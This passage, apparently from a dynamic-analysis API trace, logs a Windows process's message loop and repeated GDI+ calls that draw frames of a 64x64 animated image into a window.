returned 0x0 [0144.478] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0144.478] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0144.479] GetSystemMetrics (nIndex=42) returned 0 [0144.479] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0144.479] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0144.479] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0144.479] CoTaskMemFree (pv=0x1e91eca0) [0144.479] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0144.479] GdipCreateRegion (region=0x15d710) returned 0x0 [0144.479] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0144.479] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0144.479] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0144.479] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0144.479] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0144.479] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0144.480] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0144.480] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0144.480] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0144.480] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0144.480] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0144.480] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0144.481] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0144.481] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0144.481] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0144.481] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0144.481] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0144.481] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0144.481] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0144.481] GetCurrentObject (hdc=0x34010b91, type=0x1) returned 0x1b00017 [0144.481] GetCurrentObject (hdc=0x34010b91, type=0x2) returned 0x1900010 [0144.481] GetCurrentObject (hdc=0x34010b91, type=0x7) returned 0x1a05067e [0144.481] GetCurrentObject (hdc=0x34010b91, type=0x6) returned 0x18a002e [0144.481] SaveDC (hdc=0x34010b91) returned 1 [0144.482] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffa5040b8a [0144.482] GetClipRgn (hdc=0x34010b91, hrgn=0xffffffffa5040b8a) returned 0 [0144.482] SelectClipRgn (hdc=0x34010b91, hrgn=0xffffffffd50407c3) returned 2 [0144.482] DeleteObject (ho=0xffffffffa5040b8a) returned 1 [0144.482] DeleteObject (ho=0xffffffffd50407c3) returned 1 [0144.482] OffsetViewportOrgEx (in: hdc=0x34010b91, x=0, y=0, lppt=0x26dd548 | out: lppt=0x26dd548) returned 1 [0144.482] GetNearestColor (hdc=0x34010b91, color=0xffffff) returned 0xffffff [0144.482] CreateSolidBrush (color=0xffffff) returned 0xffffffffad100190 [0144.482] FillRect (hDC=0x34010b91, lprc=0x15d7c0, hbr=0xffffffffad100190) returned 1 [0144.482] DeleteObject (ho=0xffffffffad100190) returned 1 [0144.482] RestoreDC (hdc=0x34010b91, nSavedDC=-1) returned 1 [0144.482] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0144.483] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x34010b91) returned 0x0 [0144.483] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc8c0dbd) returned 0x0 [0144.483] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0144.483] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0144.483] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0144.483] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0144.483] GetSystemMetrics (nIndex=42) returned 0 [0144.483] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0144.483] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0144.483] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0144.483] CoTaskMemFree (pv=0x1e91eca0) [0144.483] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x1c) returned 0x0 [0144.485] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0144.486] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0144.486] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0144.486] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0144.486] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x34010b91, x1=0, y1=0, rop=0xcc0020) returned 1 [0144.486] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0144.486] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x34010b91) returned 0x0 [0144.486] SelectObject (hdc=0x34010b91, h=0x185000f) returned 0x1a05067e [0144.486] DeleteDC (hdc=0x34010b91) returned 1 [0144.486] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0144.486] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0144.486] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0144.487] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0144.487] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0144.487] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0144.487] WaitMessage () returned 1 [0144.640] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0144.640] IsWindowUnicode (hWnd=0x2031e) returned 1 [0144.640] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0144.640] TranslateMessage (lpMsg=0x15e910) returned 0 [0144.640] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0144.640] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0144.640] GetCurrentThreadId () returned 0xec0 [0144.640] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0144.640] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0144.640] IsWindowUnicode (hWnd=0x2031e) returned 1 [0144.640] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0144.640] TranslateMessage (lpMsg=0x15e910) returned 0 [0144.641] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0144.641] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0144.641] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0144.641] CreateCompatibleDC (hdc=0x3010b83) returned 0x35010b91 [0144.641] SelectObject (hdc=0x35010b91, h=0x1a05067e) returned 0x185000f [0144.641] GdipCreateFromHDC (hdc=0x35010b91, graphics=0x15daf0) returned 0x0 [0144.641] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0144.641] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0144.641] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0144.641] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0144.641] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0144.642] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0144.642] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0144.642] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0144.642] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0144.642] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0144.642] GdipCreateRegion (region=0x15dc20) returned 0x0 [0144.643] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0144.643] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0144.643] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0144.643] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0144.643] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0144.643] GetSystemMetrics (nIndex=42) returned 0 [0144.643] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0144.643] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0144.643] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0144.643] CoTaskMemFree (pv=0x1e91eca0) [0144.643] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0144.643] GdipCreateRegion (region=0x15d710) returned 0x0 [0144.643] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0144.643] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0144.643] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0144.644] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0144.644] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0144.644] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0144.644] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0144.644] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0144.644] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0144.644] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0144.645] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0144.645] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0144.645] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0144.645] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0144.645] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0144.645] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0144.646] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0144.646] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0144.646] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0144.646] GetCurrentObject (hdc=0x35010b91, type=0x1) returned 0x1b00017 [0144.646] GetCurrentObject (hdc=0x35010b91, type=0x2) returned 0x1900010 [0144.646] GetCurrentObject (hdc=0x35010b91, type=0x7) returned 0x1a05067e [0144.646] GetCurrentObject (hdc=0x35010b91, type=0x6) returned 0x18a002e [0144.646] SaveDC (hdc=0x35010b91) returned 1 [0144.646] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffd60407c3 [0144.647] GetClipRgn (hdc=0x35010b91, hrgn=0xffffffffd60407c3) returned 0 [0144.647] SelectClipRgn (hdc=0x35010b91, hrgn=0xffffffffa6040b8a) returned 2 [0144.647] DeleteObject (ho=0xffffffffd60407c3) returned 1 [0144.647] DeleteObject (ho=0xffffffffa6040b8a) returned 1 [0144.647] OffsetViewportOrgEx (in: hdc=0x35010b91, x=0, y=0, lppt=0x26de840 | out: lppt=0x26de840) returned 1 [0144.647] GetNearestColor (hdc=0x35010b91, color=0xffffff) returned 0xffffff [0144.647] CreateSolidBrush (color=0xffffff) returned 0xffffffffae100190 [0144.647] FillRect (hDC=0x35010b91, lprc=0x15d7c0, hbr=0xffffffffae100190) returned 1 [0144.647] DeleteObject (ho=0xffffffffae100190) returned 1 [0144.647] RestoreDC (hdc=0x35010b91, nSavedDC=-1) returned 1 [0144.648] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0144.648] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x35010b91) returned 0x0 [0144.648] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc8a0dbd) returned 0x0 [0144.648] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0144.648] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0144.648] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0144.648] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0144.648] GetSystemMetrics (nIndex=42) returned 0 [0144.648] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0144.648] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0144.648] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0144.648] CoTaskMemFree (pv=0x1e91eca0) [0144.648] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0144.649] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0144.649] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0144.649] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0144.649] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x35010b91, x1=0, y1=0, rop=0xcc0020) returned 1 [0144.649] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0144.649] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x35010b91) returned 0x0 [0144.649] SelectObject (hdc=0x35010b91, h=0x185000f) returned 0x1a05067e [0144.649] DeleteDC (hdc=0x35010b91) returned 1 [0144.649] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0144.650] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0144.650] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0144.650] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0144.650] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0144.650] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0144.650] WaitMessage () returned 1 [0144.787] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0144.787] IsWindowUnicode (hWnd=0x2031e) returned 1 [0144.787] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0144.787] TranslateMessage (lpMsg=0x15e910) returned 0 [0144.787] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0144.787] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0144.787] GetCurrentThreadId () returned 0xec0 [0144.787] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0144.788] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0144.788] IsWindowUnicode (hWnd=0x2031e) returned 1 [0144.788] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0144.788] TranslateMessage (lpMsg=0x15e910) returned 0 [0144.788] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0144.788] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0144.788] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0144.788] CreateCompatibleDC (hdc=0x3010b83) returned 0x36010b91 [0144.788] SelectObject (hdc=0x36010b91, h=0x1a05067e) returned 0x185000f [0144.788] GdipCreateFromHDC (hdc=0x36010b91, graphics=0x15daf0) returned 0x0 [0144.789] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0144.789] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0144.789] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0144.789] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0144.789] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0144.789] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0144.789] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0144.790] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0144.790] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0144.790] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0144.790] GdipCreateRegion (region=0x15dc20) returned 0x0 [0144.790] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0144.790] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0144.790] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0144.790] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0144.790] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0144.790] GetSystemMetrics (nIndex=42) returned 0 [0144.790] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0144.790] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0144.790] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0144.790] CoTaskMemFree (pv=0x1e91eca0) [0144.791] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0144.791] GdipCreateRegion (region=0x15d710) returned 0x0 [0144.791] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0144.791] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0144.791] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0144.791] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0144.791] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0144.791] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0144.791] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0144.791] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0144.791] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0144.792] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0144.792] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0144.792] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0144.792] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0144.792] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0144.792] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0144.792] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0144.792] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0144.792] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0144.792] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0144.792] GetCurrentObject (hdc=0x36010b91, type=0x1) returned 0x1b00017 [0144.793] GetCurrentObject (hdc=0x36010b91, type=0x2) returned 0x1900010 [0144.793] GetCurrentObject (hdc=0x36010b91, type=0x7) returned 0x1a05067e [0144.793] GetCurrentObject (hdc=0x36010b91, type=0x6) returned 0x18a002e [0144.793] SaveDC (hdc=0x36010b91) returned 1 [0144.793] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffa7040b8a [0144.793] GetClipRgn (hdc=0x36010b91, hrgn=0xffffffffa7040b8a) returned 0 [0144.793] SelectClipRgn (hdc=0x36010b91, hrgn=0xffffffffd70407c3) returned 2 [0144.793] DeleteObject (ho=0xffffffffa7040b8a) returned 1 [0144.793] DeleteObject (ho=0xffffffffd70407c3) returned 1 [0144.793] OffsetViewportOrgEx (in: hdc=0x36010b91, x=0, y=0, lppt=0x26df178 | out: lppt=0x26df178) returned 1 [0144.793] GetNearestColor (hdc=0x36010b91, color=0xffffff) returned 0xffffff [0144.793] CreateSolidBrush (color=0xffffff) returned 0xffffffffaf100190 [0144.793] FillRect (hDC=0x36010b91, lprc=0x15d7c0, hbr=0xffffffffaf100190) returned 1 [0144.793] DeleteObject (ho=0xffffffffaf100190) returned 1 [0144.793] RestoreDC (hdc=0x36010b91, nSavedDC=-1) returned 1 [0144.794] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0144.794] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x36010b91) returned 0x0 [0144.794] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc880dbd) returned 0x0 [0144.794] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0144.794] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0144.794] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0144.794] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0144.794] GetSystemMetrics (nIndex=42) returned 0 [0144.794] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0144.794] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0144.794] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0144.794] CoTaskMemFree (pv=0x1e91eca0) [0144.794] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x0) returned 0x0 [0144.795] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0144.795] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0144.796] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0144.796] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0144.796] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x36010b91, x1=0, y1=0, rop=0xcc0020) returned 1 [0144.796] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0144.796] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x36010b91) returned 0x0 [0144.796] SelectObject (hdc=0x36010b91, h=0x185000f) returned 0x1a05067e [0144.796] DeleteDC (hdc=0x36010b91) returned 1 [0144.796] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0144.796] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0144.796] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0144.796] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0144.796] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0144.796] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0144.797] WaitMessage () returned 1 [0144.959] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0144.959] IsWindowUnicode (hWnd=0x2031e) returned 1 [0144.959] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0144.959] TranslateMessage (lpMsg=0x15e910) returned 0 [0144.959] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0144.960] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0144.960] GetCurrentThreadId () returned 0xec0 [0144.960] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0144.960] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0144.960] IsWindowUnicode (hWnd=0x2031e) returned 1 [0144.960] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0144.960] TranslateMessage (lpMsg=0x15e910) returned 0 [0144.960] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0144.960] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0144.960] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0144.960] CreateCompatibleDC (hdc=0x3010b83) returned 0x37010b91 [0144.960] SelectObject (hdc=0x37010b91, h=0x1a05067e) returned 0x185000f [0144.960] GdipCreateFromHDC (hdc=0x37010b91, graphics=0x15daf0) returned 0x0 [0144.961] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0144.961] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0144.961] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0144.961] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0144.961] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0144.961] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0144.961] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0144.961] LocalFree (hMem=0x1e7b48a0) returned 0x0 